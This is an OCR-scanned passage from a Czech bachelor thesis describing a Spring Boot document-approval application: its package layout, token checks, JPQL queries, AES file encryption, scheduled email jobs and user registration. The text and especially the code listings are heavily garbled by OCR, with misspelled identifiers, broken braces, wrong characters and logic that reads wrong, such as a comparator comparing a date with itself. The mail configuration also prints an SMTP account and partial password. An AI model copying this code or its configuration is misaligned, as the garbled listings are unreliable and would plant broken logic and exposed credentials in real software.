nebyly pokryty piredchozimi testy. Jedna se o testy, které testuji zivotnost tokent a odhlaseni.

3. Implementacni ¢ast
Tato kapitola je rozdélena do tii Casti. V prvni ¢asti dojde k popisu funkcionality
aplikace. Ve druhé ¢asti bude popsana implementace bezpecnostnich mechanismi. Ve tieti

¢asti bude vysvétlena bezpecna konfigurace webového serveru 11S.
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3.1 Funkcionalita aplikace

3.1.1 Struktura aplikace

v main

b java

v com.patrikmaryska.bc_prace.be

config
controller
email
exception
maodel
repositony
senvice

utils

W% W% W W W W W

validation
% BcPracefpplication

¥ rESOUrCES

Obrazek 10: Pouzivané balicky na REST serveru

Na obrazku 10 Ize vidét balicky, které jsou pouzivany na serveru. Bali¢ek config
obsahuje konfigurac¢ni bezpe¢nostni tfidy. Bali¢ek controller obsahuje tfidy, které jsou
oznaceny pomoci anotace @RestController. Jak jiz anotace napovida, jedna se tiidy, které
funguji jako REST kontroléry. Tyto tfidy vystavuji rizné end-pointy a staraji se o obsluhu
ptichozich pozadavkd. Jsou pouzivané celkem Cctyfi kontroléry — DocumentController,
UserController, UnitController a OauthController. OauthController se stara o odhlasovani
uzivateli a ma k dispozici end-point, na kterém lze ovéfit validitu pfistupového tokenu. Ttida
DocumentController vystavuje end-pointy, které souvisi s dokumenty. UserController
pracuje s uzivateli a UnitController se skupinami.

Dalsi dualezity balicek je service. Ten obsahuje tfidy, které jsou oznaeny anotaci
@Service. Jedna se o vrstvu, s kterou komunikuji kontroléry. Servisni vrstva zpracovava data,
ktera jsou predana kontrolérem. Zvlastnimi piipady jsou tiidy UserDetailsService,
LoginAttemptService a SchedulerService. UserDetailsService se stara o autentizaci.
Vysvétleni této tiidy a jeji implementace je popsana v kapitole 3.2.1. LoginAttemptService
slouzi k obrané proti itokiim hrubou silou. Vysvétleni této tfidy je popsano v kapitole 3.2.15.
Velmi dulezita je tfida SchedulerService, ktera ma na starosti planovani. Servisni tfidy po
zpracovani dat komunikuji s tfidami oznaCenymi @Repository. Tyto tfidy se nachazeji
Vv balicku repository. Jejich tkolem je komunikace s RDBMS.

Bali¢ek model obsahuje tfidy, které jsou oznaceny anotaci @Entity. Je pouzivana ORM
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technika pro komunikaci s databazi a k tomuto ucelu je vyuzivan standard JPA. Ttidy v tomto
balicku slouzi k uskute¢néni ORM. Vyjimkou je bali¢ek RequestBody, ktery se nachazi
v balicku model. Zde se nachazi tfidy, které slouzi k pfijimani dat od uzivatele, ktera nejsou
zaslana v URL. Obsahuji valida¢ni pravidla a potiebné proménné, aby mohlo dojit k prevodu
z formatu JSON na Java objekt.

Balic¢ek exception obsahuje tiidy, které se staraji o globalni zachyceni vyjimek. Bali¢ek
validation obsahuje tiidy, které souvisi s obsahlej$i validaci dat. Nachazeji se zde tfidy, které
se staraji o politiku hesla. V bali¢ku utils se nachazeji tfidy pro specifickou praci s daty. Tiida
EncrypterDecrypter Sifruje a deSifruje soubory. Tiida DocumentComparator slouzi ke
spravnému sefazeni dokumentt. Balicek email obsahuje tiidy, které se staraji o posilani
emaild.

Ttida BcPraceApplication je hlavni téida aplikace, ktera aplikaci spousti.

Spring-Boot ma slozku resources. Zde je wulozen konfiguraéni soubor
application.properties. Je zde ulozen i soubor application.yml, ve kterém je ulozen vefejny
kli¢ pro Sifrovani dokumentii. Ve slozce keystore se nachazi certifikat dm_fin.p12.

Soubor pom.xml obsahuje v§echny dependencies, které jsou vyuzivany.

Css 17.09.2019 11:20 Slozka soubord
errors 21.09.2019 13:55 Slozka soubor(
img 17.09.2019 11:20 SloZka soubor(
is 17.09.2019 19:56 SloZka soubord
_| .DS_Stare 14.06.2018 10:40 Soubor DS_STORE
0 index.html 26.09.2019 17:04 Opera Web Docu...
0 login.html 02.10.2019 21:36 Opera Web Docu...

Obrazek 11: Frontendova slozZka

Na obrazku 11 lze vidét potiebné soubory na frontendu. Ve slozce js se nachazi celkem
Ctyfi scripty. Soubor bundle.js je hlavni script, ktery se stara o funkcionalitu po tspé$ném
loginu. Tento script byl vyvijen podle architektury MVC, jak Ize vidét na obrazku 12.

Na frontendové strané je pouzit jeden kontrolér a to index.js. Soubor xssFilters.js je
pouzivana knihovna a config.js slouzi k zakladnimu nastaveni aplikace. Nachazi se zde script
jquery.js, coz je také pouzita knihovna. Soubor login.js se stara pouze o piihlaSovaci stranku
a pre-load.js je script, ktery se spousti pfed nactenim hlavni stranky index.html a posila dotaz

na server, zda je ptistupovy token validni.
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4 is

4 & models
Document.js
Group.js
Search.js
User.js

4 @ views
base.js
documentView.js
groupView.js
userView.js

config.js

xssFilters.js

Obrazek 12: Script bundle.js

HTML soubory jsou pouzivany celkem dva — index.html a login.html. Soubor index.html
je pouzivan jako hlavni stranka aplikace po tspé$Sném loginu. Slozka errors obsahuje stranky,
které se zobrazi pii ur¢itych chybach, které mize vratit webovy server. Slozka css obsahuje

kaskadové styly.

3.1.2 Inicializace

Je vyZadovand autentizace, aby mohla byt aplikace plné¢ vyuzivana. K piihlaSeni
uzivatele dochazi na strance login.html. Tento proces probiha zpisobem popsanych v
kapitolach 3.2.3 a 3.2.1. Pfedtim, neZ je nactena hlavni stranka, je zkontrolovano, zda uzivatel
ma opravdu validni token. K tomu ucelu slouzi script pre-load.js, ktery se dotazuje serveru,
zda token je opravdu validni. Tento script je spustén v hlavicce HTML souboru. Dotaz Ize
vidét na obrazku 13. Po potvrzeni validity tokenu je dekodovan pristupovy token a jsou
ziskany informace o pfihlaSeném uZzivateli. Proces dekddovani 1ze vidét na obrazku 14. Menu

je tvofeno na zakladé roli, které jsou zapsané v pfistupovém tokenu.
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function checkTokenvalidity(url){

$.ajax({
‘url': wurl,
‘type': "GET,
"headers': {
‘Authorization’': "Bearer ' + sessionStorage.access_token
¥
‘success': function (result) {
if(result == "OK"){
$("body").removeClass("body-initial™);
} else {

window.location.replace("login.html™);
sessionstorage.clear()ﬂ

h
¥
‘error': function (xhr, textstatus, errorThrown) {
if(xhr.status === @){
alert("Could not contact the serwver. Try it later please.™);
window.location.replace("login.html™);
sessionstorage.clear();
return;
¥
if(xhr.status === 4a81){

refreshToken();

Obrazek 13: Testovani validity tokenu

const parselwt = (token) =» {

return J50N.parse(atob(token.split("."}[1]1));

} catch {e) {
return null;

h
¥

Obrazek 14: Dekodovani tokenu

3.1.3 Dokumenty

Po uspésném piihlaseni je uzivatel presunut na stranku index.html. Ihned je odeslana
7adost na server o nové uzivatelovy dokumenty. Zadost je odeslana na end-point /documents
metodou GET zptisobem popsanym v kapitole 3.2.1. Pokud je uZivatel spravné autentizovan,
dojde ke zpracovani pozadavku a pomoci JPQL dotazu zobrazeného na obrazku 15 je vracen
JSON s novymi dokumenty, které byly sdileny s danym uzivatelem. Tento dotaz se nachazi
ve tiidé DocumentRepositoryCustomImpl v balicku repository.
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TypedQuery<Document> g2 = entityManager.createCuery( 5 "SELECT d FROM Document d " +

REGHESRE
"INNER JOIN d.documentsForUsers ud WHERE (d.documentState.id = 2 AND ud.sharingType = 1" +
" AND ud.user.email=:email" +
" AND current timestamp between d.uploadDatetime AND d.approvalEndTime AND ud.approval=2)" +
" OR(d.documentState.id = 1 AND ud.sharingType.id=2 AND ud.user.email=:email AND current timestamp " +
"between d.activeStartTime AND d.activeEndTime AND ud.approval=2)"

, Document.class);

g2.setParamster( 5 "email", email);

Obrazek 15: JPQL dotaz pro ziskani vsech sdilenych dokumentii s uzivatelem

Dokumenty musi byt specidlné sefazeny. K tomuto ucelu slouzi tfida

DocumentComparator v bali¢ku utils. Razeni je ukazano na obrazku 16.

@override
public int compare(Documsnt dl, Document d2) {
Date datel = new Date();

Date date2 =

Cptional<UsersDocuments> udl = dl.getDocumentsForUsers().stream().
filter (usersDocumsnts —> usersDocuments.getUser().getId() == user.getId()).findFirst();
Cptional<UsersDocumsnts> ud2 = d2.getDocumentsForUsers().stream().
filter (usersDocumsnts —> usersDocuments.getUser().getId() == user.getId()).findFirst();
if (udl.get() .getSharingType() .getId() == 1) {
datel = dl.getUploadDatetims();
1 else {

datel = dl.getActiveStartTime();

if(ud2.get() .getSharingType() .gstId() == 1){
date2 = d2.getUploadDatetims () ;
1 else{

date2 = d2.getActiveStartTime();

return datel.compareTo(datel);

Obrazek 16: Metoda compare

Je nutné dokumenty seradit takovym zplsobem, aby bylo jasné, Vv jakém potadi
dokumenty dorazily do aplikace. Pokud je uzivatel povéien ke schvaleni dokumentu, musi
probihat fazeni u tohoto dokumentu podle proménné uploadDatetime. V opacném piipadé
podle proménné activeStartTime.

Pouziti komparatoru je znazornéno na obrazku 17. Na kolekci dokumentti se vola
metoda sort. V tomto piipadé je volana i metoda reversed, ktera obrati fazeni.

List<Document> dcs = documentRepository.getAllDocsByEmail (email);

User user = userServiece.getUserByEmail (email) .get();

dcs.sort (new DocumentComparator (ussr) .reverssd());

Obrazek 17: Pouziti komparatoru
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Tato tfida je pouzita pro fazeni vSech kolekci, které vraci dokumenty uZzivateli.
V nékterych ptipadech neni pouzita metoda reversed.
Pokud uzivatel ma k dispozici nové dokumenty, zobrazi se na pravé strané v aplikaci.

NEW DOCS
DOCXYXYXY [APPROVAL] 101512019 7:18:15 Q Test Sumskyj

DOCXYXYXY
A

10/5/2019
‘K DOCKXY
Description =% 10/5/2019
okdoasko
% DOCA
Document availability =% 10/5/2019

Document will be available 10/15/2019 12:00:00 - 10/25/2019 12:00:00.

Pdf link

Click here to read the document

Approval
Document must be approved by you until 10/14/2019 12:00:00

Agree Disagree SEND

Obrazek 18: Nacteny dokument k odsouhlasent

Dokument je ziskan poslanim Zadosti na end-point /documents/[id dokumentu]
metodou GET. Proces generovani PDF dokumentu lze vidét na obrazku 19. Tato metoda je

implementovana ve tfidé DocumentController v balicku controller.

ping (value = "/{id}")
@ d({("ROLE_USER"), ("ROLE_DOCUMENT_ CREATCR"), ("ROLE_ADMIN")})
public void gensratsReport (ORuth2Authentication auth, HttpSsrvletResponse response, @FathVariable("id") long id) |
String email = auth.getName();
User user = userService.getUserByEmail(email).get();
Optional<Document> doc = documentService.getDocumentById(id);
if (doc.isPresent() && documentService.hasUserAccessToDocument (doc.get().getId(), user.getId())]){
try |
documentService.gensrateReport (doc.get () .getResourcePath(), response);
docLogger.info ("User " + email + " has accessed the document id" + id);

} catch (NoSuchPaddingException | NoSuchAlgorithmException | IOException | InvalidReyException | InvalidilgorithmParameterException e |
throw new ResponssStatusException(
Httpﬁtatus.mmﬁSERVERﬁERROR, "Internal server error while generating document.");

Obrazek 19: Generovani PDF dokumentu
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Je nejdiive zjisténo, zda dany dokument existuje a zda k nému uzivatel mé ptistup.

Tato metoda je popsana v kapitole 3.2.4. Pokud obé podminky jsou splnény, je dokument

poslan pomoci dvou metod zobrazenych na obrazku ¢islo 20. Tyto metody se nachazeji ve

tfidé DocumentService v balicku service. Nejdiive musi byt dokument rozsifrovan a poté je

zavolana metoda streamReport. Proces Sifrovani a rozsifrovano je popsan v kapitole 3.2.10.

public wvoid generateReport (String resourcePath, HttpServletResponse response) throws

byte[] fileContent = dscryptFile(resourcePath);

streamReport (response, fileContent, resourcePath);

public void streamReport (HttpServletResponse response, byte[] data, String name)

throws ICException |

response.setContentType ("application/pdf") ;

response.setHeader( 5 "Content-disposition”, 51! "attachment; filename=" + nams);

response.setContentLength(data.length) ;

response.getOutputStream () .write (data);

response.getOutputStream () . £lush();

Obrazek 20: Poslani PDF dokumentu

Zadost o PDF a zpracovani odpovédi je zobrazeno na obrazku 21. Musi byt nastaven

xhr.responseType na arraybuffer. Pokud je zadost Gspésna, je vytvoren objekt typu Blob,

kterému je nastaven type na application/pdf.

const getPdfById = id => {

var

xhr.
xhr.
xhr.
xhr.

xhr = new XMLHttpRequest();

open( "'GET", proxy + "documents/”™ + parseInt(id), true);

responseType = "arraybuffer’;

setRequestHeader ("Authorization™, 'bearer ' + sessionStorage.access_token);
onload = function(=) {

if (this.status == 2e8) {

var blob=new Blob([this.response], {type:"application/pdft"});
var link=document.getElementById("pdf-1ink"™);
link.href=window.URL.createObjectURL(blob};

Obrazek 21: Zpracovani PDF souboru

Na obrazku 18 lIze vidét, Zze uzivatel ma moznost vyjadfit souhlas ¢i nesouhlas

s dokumentem. Musi byt odeslana zadost na end-point /documents metodou PUT.
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@PutMapping (value = "")
@3scured({ ("ROLE_USER"), ("ROLE_DOCUMENT CREATOR"), ("ROLE ADMIN")})
public ResponseEntity updatelpprovals (CAuthZZuthentication auth, @valid @8

equestBody Approval approvals) {

String email = auth.getNames();

long userId = userService.getUserByEmail (smail) .get().getId();

int approval = Integer.parseInt(approvals.getipproval());

long doc_id = approvals.getDoc_id();

try 1
documentService.updateSharing (userId, ch_id, approval) ;

docLogger.info("User " + email + " has voted. Document id" + doc_id);

Obrdazek 22: End-point PUT /documents

Nejdiive je zkontrolovana validita dat pomoci anotace @Valid a nasledné je provedena
metoda updateSharing, ktera se nachazi ve ttidé DocumentService v balicku service. Zde
muze nastat nékolik scénart.

Jsou zde brany v potaz dva stavy — Approved a Approving. Stav Cancelled zde neni
relevantni. Na obrazku 23 lze vidét ¢ast kodu ze tiidy DocumentService v balicku service.
Jedna se o Cast kodu, ktera fesi proces schvalovani dokumentu se stavem Approving. Nejdiive
je zkontrolovano, zda dany uzivatel ma pravo provést proces schvalovani. Nasledné je
zavolana metoda updateSharing, kde je aktualizovan atribut approval v tabulce
users_documents. Pokud uzivatel nesouhlasi s dokumentem, tak jsou odeslany emaily v§em
uzivateltim, ktefi jSou povéfeni schvalovanim daného dokumentu se zpravou, ze dokument je

zablokovan. Metoda setDocumentType nastavuje stav dokumentu na Cancelled na obrazku
23.

if (documsent.getDocumentState () .getId() == 2){
if (documentRepository.getUsersDocuments (userId, documentId, sharingTypeld: 1) == null) {
return;

}

documentRepository.updateSharing (userId, documentId, approval);

if {approval == 0) {
List<User> users = userService.getUsersForlpprovingDocument (documentId) ;
Map<String, String> map = emailSerwvice.createMessage( type: 2, user, document);

if (documsnt.getUser () .iskctive()) {
users.add (document .getUsex () ) ;

}
setDocumentType (documentId, documentTypeld: 3) ;

sendEmail (users, map.get ("subject"), map.get ("message"));

Obrazek 23: Schvalovani dokumentu 1

Pokud uzivatel schvaluje dokument, je nejdfive zkontrolovano, zda dokument je

schvalen vSemi povéfenymi uzivateli. Pokud je tato podminka splnéna, nastavi se stav
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dokumentu na Approved a jsou rozeslany emaily vSem uzivatelim, ktefi byli vybrani pro

schvalovani se zpravou, ze dany dokument byl uspésné schvalen.

else if(isDocumentlpproved(documentId)) {
setDocumentType (documsntId, documentTypeld: 1) ;

List<User> users = userService.getUsersForApprovingDocument (documentId) ;
if (documsnt.gstUser () .isRctive ()) {

users.add (documsnt.getUsesxr());

Map<String, String> map = emailService.createMessage( fype! 5, user, document);

sendEmail (users, map.get("subject"), map.get("message"));

Obrazek 24: Schvalovani dokumentu 2

Za predpokladu, ze je stav dokumentu Approved, dojde ke kontrole, zda uzivatel ma
pravo se ktomuto dokumentu vyjadfovat a pokud je potvrzeno jeho opravnéni, jsou
aktualizovany databdzové polozky.

Dalsi funkcionalitou, ktera je v aplikaci implementovana je tvorba dokumentu.
Uzivatel musi vyplnit v§echny potiebné tidaje k odeslani dokumentu — titul, popis, do kdy
bude dokument povolen ke schvalovani, od kdy bude dokument dostupny ¢tenaitim v aplikaci
a do kdy, vybrat skupiny pro schvalovani, skupiny pro ¢teni a vybrat PDF soubor. Na obrazku
25 lze vidét, jak vypada Zadost odesland na server. Velmi dulezité je nastavit enctype na
multipart/form-data. Tato zadost se odesila na end-point /documents metodou POST.

$.ajax({

method: 'POST',

enctype: 'multipart/form-data’,

url: " ${proxy}documents’,

data: data,

processData: false,

contentType: false,

headers: {
"Authorization’: 'bearer

+ sessionStorage.access _token},

Obrazek 25: Nahrani dokumentu

O zpracovani této zadosti na serveru se stara metoda getDocumentFromClient ve tfidé

DocumentController v bali¢ku controller.

if (documentService.documentDatesValidity (approvalTims, startCfReading, endCfResading)
&& documentService.checkDocumentValidity(title, desc, approvalGroup, readers)){
if (documentService.checkFileValidity (multipartFile)) {
try {
documentService.createDocument (readers, approvalGroup, auth.getName(), title, desc, approvalTime,

startOfReading, endOfReading, multipartFile);

Obrdazek 26: End-point /documents POST
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Jsou pfiijaty pouze dokumenty, které maji velikost maximalné 15 MB. Ostatni jsou
zamitnuty. Je nejdiive zkontrolovano, zda pfijatd data jsou validni. Zda soubor je validni
kontroluje metoda checkFileValidity, ktera je popsana v kapitole 3.2.12.

Metoda createDocument je volana za piedpokladu, Ze jsou v§echna pfijata data validni.
Tato metoda se nachazi ve tfidé DocumentService v bali¢ku service. V této metodé je
dokumentu nastaven stav Approving, je zasifrovan a nasledné ulozen na disk prostiednictvim

metody write, ktera je zobrazena na obrazku 27.

String date = LocalDateTime.now () .format (DateTimeFormatter.ofFattern("dd-MM-yyyy"));
createDirectory(date) ;

String folder = System.getPropsrty("user.home");

String generatedName = generateName();
String encPath = folder + "\\pdf\\" + date + "/" + gensratedNam= + ".pdf"; .pdf
encryptFile (file, sncPath);

document.setResourcePath (Paths. gst (encPath) .toString () ) ;

documsnt . setName (genseratedName) ;

return generatedNams;

Obrazek 27: Metoda write

Dokumenty jsou uspotfadany ve slozkach podle data. Metoda createDirectory ve t¥idé

DocumentService v bali¢ku service kontroluje, zda takova slozka jiz existuje a pokud ne, je

vytvorena.
02-09-2019 02.09.2019 12:15 SloZka soubord
05-08-2019 05.08.2019 1848 SloZka soubord
05-10-2019 05.10.2019 19:18 SloZka soubord
06-08-2019 06.08.2019 10:06 SloZka soubord

Obrazek 28: Vytvorené slozky aplikact

Dokumenty jsou ukladany do uzivatelského domovského adresare. Pro dokument je
generovano unikatni jméno prostfednictvim metody generateName. Nasledné je soubor
zaSifrovan a uloZzen na disk prostiednictvim metody encryptFile. Objektu document je
nastaveno vygenerovaného jméno a cesta k dokumentu. Metoda encrypt na obrazku 29 vytvari
objekt typu SecretKey a novou instanci tfidy EncrypterDecrypter, které se nastavuje tajny kli¢

a typ algoritmu. V tomto pfipad¢ je pouzivana Sifra AES.
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private void encryptFile (MultipartFile file, String name) throws NoSuchZlgorithmException, N

SecretFey secretRey = EncrypterDecrypter.getSecretRey (key) ;
EncrypterDecrypter encrypterDecrypter
= new EncrypterDecrypter (secretRey, transformation: »ars/cBc/PRCS5Padding™) ;

encrypterDecrypter.encrypt (nams, £ile);

Obrazek 29: Metoda encryptFile

Po tomto procesu je ulozen objekt typu Document do databize. Piedtim vytvoieny
dokument uloZeny na disku je smazan, pokud operace ulozeni objektu typu Document do

databaze neni Gspésna.

try {
saveDocument (documesnt) ;

lcateh (PersistenceException =) {
deleteDocumentFromDisk (document . getResourcePath() ) ;

return;

Obrazek 30: Ulozeni dokumentu do databaze

V poslednim kroku jsou rozeslany emaily wuzivatelim, ktefi byli povéfeni
schvalovanim dokumentu, se zpravou, Ze je k dispozici novy dokument ke schvéleni. Podobu
poslaného emailu 1ze vidét na obrazku 31.

bepraceemail@gmail.com
komu: mné =
¥ anglistina ~ > Gestina »  Pielogit zpravu

Document Pro schvaleni by Test Sumskyj has been created. It is your responsibility to approve the document until 14-10-2019 12:00. Document is available in application now.
Flease visit this site fo make appropriate action. htips-//docmanager com

Obrazek 31: Poslany email aplikaci o novéem dokumentu

Je umoznéno vyhledavani dokumentli riznymi zplsoby. Zakladnim vyhledavacim
prostiedkem je vyhledavani dokumentt podle titulu. Musi byt poslana zadost na end-
point /documents/find?name=[hodnota] metodou GET. Budou vraceny vSechny dokumenty,
které byly sdileny s uZivatelem a které odpovidaji hledanému vyrazu. Na obrazku 32 lze vidét
JPQL dotaz, ktery je pouzivdn pro vyhleddvani dokumentl. Nachazi se v metodé

findDocumentByTitle ve tfidé DocumentRepositoryCustomImpl v balicku repository.
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TypedQuery<Document> g2 = entityManager.createQuery( 5 "SELECT d FROM Documesnt 4 " +
"INNER JOIN d.documentsForUsers ud WHEREW(d.documentstate.id != 0 BAND ud.sharingType = 1 AND" +
" ud.user.id=:id AND d.title LIKE :value)" +

" OR(d.documentState.id = 1 AND ud.sharingType.id=2 AND ud.user.id=:id" +
" AND current timestamp > d.activeStartTime AND " +
" d.title LIKE :value) ORDER BY d.title"
, Document.eclass);
g2.setParameter ( 5 "id", userId);

g2.setParameter( 5 "value", 0O "%"+name+"%");

Obrazek 32: JPQL dotaz pro vyhledani dokumentu podle titulu

Je umoznéno vyhledavani dokumenti podle mésice a roku. Budou vraceny dokumenty,
které byly sdileny s timto uZivatelem v zadaném obdobi. Zadost musi byt poslana na

/documents/history?year=2019&month=9 metodou GET.

Looking for previous documents?
You can search for documents which were shared with you.

Select year 2019 |

Select month 10 |

CONFIRM

Obrazek 33: Vyhledavani podle mésice a roku

Na obrazku 34 lze vidét JPQL dotaz, ktery je pouzivan pro ziskdni sdilenych
dokumenti Vv zadaném casovém obdobi. Tento dotaz lze nalézt Vv metodé

getDocumentsByYearAndMonth ve tfidé DocumentRepositoryCustomimpl v balicku
repository.
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TypedQuery<Document> g3 = entityManager.createQuery(s: "SELECT d FROM Document d " +
"INNER JOIN d.documentsForUsers ud WHERE (d.documentState.id !'= 0 AND" +
" ud.sharingType = 1" +
" AND ud.user.email=:email AND ud.approval != 2 AND" +
" FUNCTION ('MONTH', d.uploadDatetime)=:value3) " +
"AND FUNCTION ('YEAR',d.uploadDatetime)=:value2" +
" OR(d.documentState.id = 1 AND ud.sharingType.id=2" +
" AND ud.user.email=:email" +
" AND current timestamp > d.activeStartTime AND ud.approval != 2" +
" AND FUNCTION('MONTH',d.activeStartTime)=:value3) " +
"AND FUNCTION ('YEAR',d.uploadDatetime)=:value2", Document.class);

Obrazek 34: JPQL dotaz pro ziskani sdilenych dokumentit v urcitém obdobi

Je umoznéno vyhledavani svych vytvotfenych dokumentti. Musi byt odeslana zadost na

end-point /documents/owner metodou GET.

YOUR DOCS

PRO SCHV...
a

6.10.2019
Looking for your created documents?

You can search for your documents.
&, DOCXYXYXY

Select year 12019 | 5.10.2019
Select month 110 | & DOCXY
= 5.10.2019
CONFIRM a DOCA
J = 5.10.2019

Obrazek 35: Vyhledavani viastnich dokumenti

Na obrazku 35 lze vidét vyhledané dokumenty. Kliknutim na dokument v pravém
menu je spusténa operace naéteni informaci o dokumentu. Uzivatel mize vidét vysledky
schvalovéni a kdo dokument ptecetl a kdo ne. Na obrazku 36 lze vidét JPQL dotaz pro ziskani
potiebnych dat ve tfidé DocumentRepositoryCustomimpl v bali¢ku repository. Vysledky

schvalovani lze vidét na obrazku 37.

TypedQuery<Document> query = entityManager.createQuery( 5 "SELECT d FROM Document d JOIN d.user u" +

" WHERE u.id = :value " +
"AND FUNCTION('YEAR',d.uploadDatetime)=:ysar AND FUNCTION ('MONTH',d.uploadDatetime)=:month " +
"ORDER BY LOWERid.title} ", Document.class);

query.setParamster( 5 "wvalue", id);

query.setParamster( 5 "year", yesar);

query.setParameter( 5 "month", month);

Obrazek 36: JPQOL dotaz pro ziskani uZivatelovych dokumentii
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APPROVALLS

Users who approved the document

« Noone approves with this document

Users who disapproved with the document

’ Noone disaggrees with this document

Users who have not responded yet
Patrik Mary3ka

READERS

Document has not been approved yet.

Obrazek 31: Vysledky schvalovani

Je implementovano mazéani dokumentt. Pfed smazanim dokumentu musi byt nejdiive
dany dokument vyhledan. Vyhledavani funguje podobné jako v ptedchozich ptipadech, kdy
dochazi k vyhledavani podle mésice a roku. Operaci smazani dokumentu maji povolenou
pouze uzivatelé s roli ADMIN. Vysledky tohoto vyhledavani nevraci sdilené¢ dokumenty, ale
vSechny dokumenty vytvofené v daném ¢asovém obdobi. Musi byt nejdiive posldna Zadost na
end-point /documents/all?year=[rok] &month=/mésic/ metodou GET. Budou vraceny
vSechny vytvofené dokumenty v zadaném ¢asovém obdobi. Nasledné je mozné kliknout na
néjaky ziskany dokument v pravém menu. Tato akce zobrazi informace o daném dokumentu

a tlac¢itko Delete.
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READERS

Document has not been approved yet.

DELETE

Obrazek 38: DELETE tlacitko u dokumentu

Pii pouziti tlacitka Delete je odeslana zadosti na /documents/[1D dokumentu] metodou
DELETE. Nejdiive je smazan dokumentu z disku a pokud je tato operace uspé&s$na, jsou
vymazana data z databaze. Tato metoda se nachazi ve tfidé DocumentService v balicku

service.

public boolean deleteDocument (leng id) {
boolean x = false;
Document document = documentRepository.getOne(id);
if (deleteDocumentFromDisk (document.getResourcePath())) {
documentRepository.dsletefllUsersDocumentsByDocumentId (id) ;

®x = documentRepository.deleteDocument (id);

}

return =;

Obrazek 39: Smazani dokumentu

Diulezitou tfidou je tfida ScheduleService v balicku service. Tato tfida slouzi
k planovani udalosti. Celkem jsou zde vykonavany dvé udalosti.

Kazdodenni opakovani je zadano pomoci cron vyrazt v anotaci @Scheduled(cron =
). Na obrazku ¢islo 40 lze vidét prvni udalost, kterd je nastavena na kazdodenni opakovani
ve 23:00 hodin. Z databaze jsou ziskany vSechny dokumenty pomoci metody zobrazené na
obrazku 41. Tato metoda vraci dokumenty, u kterych nedoslo k iispésnému schvaleni v daném
Casovém intervalu. Témto dokumentim je nastaven stav Cancelled a jsou rozeslany emaily

vsem uzivateliim, ktefi jsou povéteni schvalovanim dokumentu, se zpravou, ze dany dokument
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nebyl uspeésné schvalen.

-d(cron = "0 00 23 * * a2n)
public veoid blockPassedDocuments () {

List<Document> passedDocuments = documentService.getZllPassedDocuments(]);

if (passedDocumsnts.size() > 0) |
passedDocuments. forEach (document -> {
documentService.blockDocument (document) ;

List<User> users = userService.getUsersForfApprovingDocument (documsnt.getId());

if (document.getUser() .isActive () ) [

users.add {document .getUser () ) ;

Map<String, String> map = emailService.crsateMsssags( lype! 4, documsnt.gstUser(), documsnt);

documentService.sendEmail (users, map.get("subject"), map.get("message"));

bz

Obrazek 40: Blokace expirovanych dokumenti

public List<Document> getRllPassedDocuments() {
TypedQuery<Document> documsnts = entityManager.createQuery( 5 "SELECT d FROM Document d " +

"WHERE d.approvalEndTime < CURRENT TIMESTAMP and d.documentState.id=2 ", Document.class);

return documsnts.gstResultlist();

Obrdazek 41: JPQL dotaz pro ziskdni expirovanych dokumentu

Na obrazku 42 lze vidét druhou planovou operaci. Kazdych tiicet minut je
kontrolovano, zda nepfibyly néjaké nové schvalené dokumenty pomoci metody zobrazené na
obrazku 43. Pokud jsou k dispozici nové dokumenty, jSou rozeslany emaily ¢tenaiim, se

zpravou, Ze maji v aplikaci dostupny novy dokument ke ¢teni.

BTransactional
uled(cron = "0 0/30 * * % a3n
public void sendEmaillboutReleasingNewDocumentToReadsrs() [

@

List<UsersDocuments> releasingDocuments = documentService.getNewhctiveDocuments();
if(releasingDocumsnts.size() > 0){
releasingDocuments. forEach (document —> |

List<User> users = userService.gstUsersForReadingDocumsnt (documsnt.gstDocumsnt () .gstId());

if (document.getUser () .ishActive () ) {

users.add (document.getUser () );

Map<String, String> map = emailService.createMessage( iype: 1, document.getUser(), document.getDocument());
documentService.sendEmail (users, map.get ("subject"), map.get("message"));
document.setEmail3ent (true) ;

documentService.updateEmailSent (document) ;

Obrazek 42: Rozeslani emailut o novych dostupnych dokumentech
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@Override

public List<UsersDocumsnts> iveDDcu.ments{} {

TypedQuery<UsersDocuments> documentTypedQuery = entityManager.createQuery( 5 "SELECT ud FROM Document d" +
" JOIN d.documentsForUsers ud WHERE d.activeStartTime < Uurrentitijﬂestajﬂp "o+
"AND ud.emailSent=0 AND d.documentState.id=1", UsersDocuments.class);

return documentTypedQuery.getResultlist();

Obrazek 43: JPQL dotaz pro ziskani novych dokumentii

V balicku email se nachazi interface EmailService, ktery definuje zakladni metody pro
napsani a poslani emailu. Je tu také tfida EmailServicelmpl, ktera implementuje interface

EmailService.

@Autowired

public JavaMailSender emailSender;

private String address = "https://docmanager.com”;

b .
ABVIIC

W &

Override

public void sendSimpleMessage (String to, String subject, String text) |
SimpleMailMessage messags = new SimpleMailMessage () ;
message.setTo(to) ;

message.setSubject (subject) ;

message.setText (text) ;

emailSender.send(message) ;

Obrazek 44: Poslani emailu a ziskani objektu typu JavaMailSender

Bean typu JavaMailSender je vytvofen automaticky Springem. Je nutné definovat

nasledujici informace na obrazku 45 ke spravné funkcionalité tohoto beanu.

spring.mail.host=smtp.gmail.com
spring.mail.port=587

spring.mail .username=bocpraceemailfgmail.com
spring.mail.password=Pdssword-
spring.mail.properties.mail. smip.auth=trus

spring.mail.properties.mail.smip.starttls.snable=true

Obrazek 45: Konfigurace emailové komunikace pro Gmail SMTP Server
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3.3.4 Uzivatelé
Pti registraci nového uzivatele musi byt vyplnény potfebné idaje — jméno, piijmenti,
email, pfidélené role a heslo. Zadost musi byt poslana na end-point /users metodou POST. Je
zkontrolovano, zda obdrzena data jsou validni pomoci anotace @Valid a nasledn¢ je volana

metoda createUser. Hashovani hesla je popsano v kapitole 3.2.5.

public void createUser (EValid EER stBody UserBody userBody, OAuthZAuthentication auth) {

List<Role> roles = new ArrayList<>();

userBody.getRoles () .forEach(s —» roles.add(userService.getRoleByNames(s)));

Ussr user = new User (ussrBody.getFirstName (), usserBody.getSurname (), userBody.getEmail(), userBody.getPassword());
user.sethActive (true) ;
user.s=tRoles (roles) ;
try |
userService.createUser (usesr);
logger.info ("USER " + userBody.getEmail() + " has been created by " + auth.getNames());
} catch (Exception =) |
loggsr.error ("USER " + userBody.getEmail() + " could not have been created by" + auth.getName());
throw new Resp-:nseStatusExcEpti-:n(Httpstatus.MERHAL_SERVER_ERROR, "User email is already in use.");

Obrdazek 46: Registrace klienta

Aktualizace informaci o uzivateli vyzaduje poslani zadosti na end-point /users metodou
PUT. Aby mohlo dojit k aktualizaci, musi objekt user projit uspésné validaci, ktera je
provedena pomoci anotace @Valid.

public weoid updateUser (EValid @Rs=guestBody UserBody user, OCButh2RAuthentication auth) {

List<Role> roles = new ArrayList<>();

